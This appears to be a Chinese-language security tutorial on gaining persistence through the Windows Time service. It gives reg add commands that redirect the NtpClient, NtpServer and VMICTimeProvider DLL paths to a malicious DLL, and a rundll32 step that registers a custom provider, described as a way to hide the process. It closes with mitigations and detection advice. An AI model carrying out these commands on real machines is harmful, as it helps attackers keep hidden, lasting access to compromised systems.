Windows时间服务(W32Time服务)维护在网络上的所有客户端和服务器的时间和日期同步。 W32Time time providers负责从硬件/网络资源中检索时间戳,并将这些值输出到其他网络客户端。
Time providers以DLL的形式实现,该文件位于System32文件夹中。Windows启动期间将启动服务W32Time并加载w32time.dll。
W32Time服务会在Windows启动期间自动启动,因此可以用在后渗透的持久化阶段。但是,此方法需要管理员级别的特权,因为指向Time Providers DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
NtpServer:时间服务提供程序服务端
NtpClient:时间服务提供程序客户端
VMICTimeProvider:时间同步提供程序库
生成一个恶意的DLL文件:w32time.dll
NtpClient注册表项DllName数据的默认值为%systemroot%\system32\w32time.dll
NtpServer注册表项DllName数据的默认值为%systemroot%\system32\w32time.dll
VMICTimeProvider注册表项DllName数据的默认值为%SystemRoot%\System32\vmictimeprovider.dll
该服务将在Windows启动期间启动,我们也可以通过执行以下命令手动启动。
sc.exe stop w32time
sc.exe start w32time
利用reg命令修改DllName数据的值,来达到开机运行我们恶意DLL的目的。
reg:reg命令是Windows提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值,reg add将新的子项或项添加到注册表中。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\net\w32time.dll"
重新启动服务,恶意DLL成功运行。
修改NtpClient注册表项:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /v DllName /t REG_SZ /d "C:\net\w32time.dll"
恶意DLL成功运行。
修改VMICTimeProvider注册表项:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\VMICTimeProvider" /v DllName /t REG_SZ /d "C:\net\w32time.dll"
恶意DLL成功运行。
修改NtpClient、NtpServer、VMICTimeProvider中任意一个注册表项,均可触发恶意DLL运行达到持久化目的。
直接修改现有的Windows时间提供程序很容易被安全运营人员发现。
重启可能会卡在System Event Nottification Service
来自Boston MA的Scott Lundgren在C中的开发了gametime。可以使用此DLL来向操作系统注册新的时间提供服务,并在重新生成注册表项中执行修改。这样可以避免破坏现有的Windows时间服务。
https://github.com/scottlundgren/w32time
修改源码可以自定义注册表项
#define GAMETIME_SVC_KEY_NAME L"System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\GameTime"
根据微软文档,Time providers必须实现以下回调函数:
利用vs编译gametime,生成gametime.dll。
利用rundll32.exe运行 gametime.dll的Register函数,rundll32.exe用于在内存中运行DLL文件,它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有 Rundll32.exe,而不会有DLL后门的进程,这样,就实现了进程上的隐藏。
rundll32.exe gametime.dll,Register
生成注册表项GameTime
修改注册表项GameTime:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\GameTime" /v DllName /t REG_SZ /d "C:\net\w32time.dll"
成功执行恶意DLL。
运行下列命令清理相关程序。
rundll32.exe gametime.dll,Deregister
限制文件和目录权限
考虑使用组策略来配置和阻止对W32Time DLL的添加/修改。
限制注册表权限
考虑使用组策略在注册表中配置和阻止对W32Time参数的修改。
监视修改注册表中的W32Time数值相关的进程,包括应用程序编程接口(API)调用(例如RegCreateKeyEx和RegSetValueEx)以及W32tm.exe程序的执行。
利用Sysinternals Autoruns工具分析。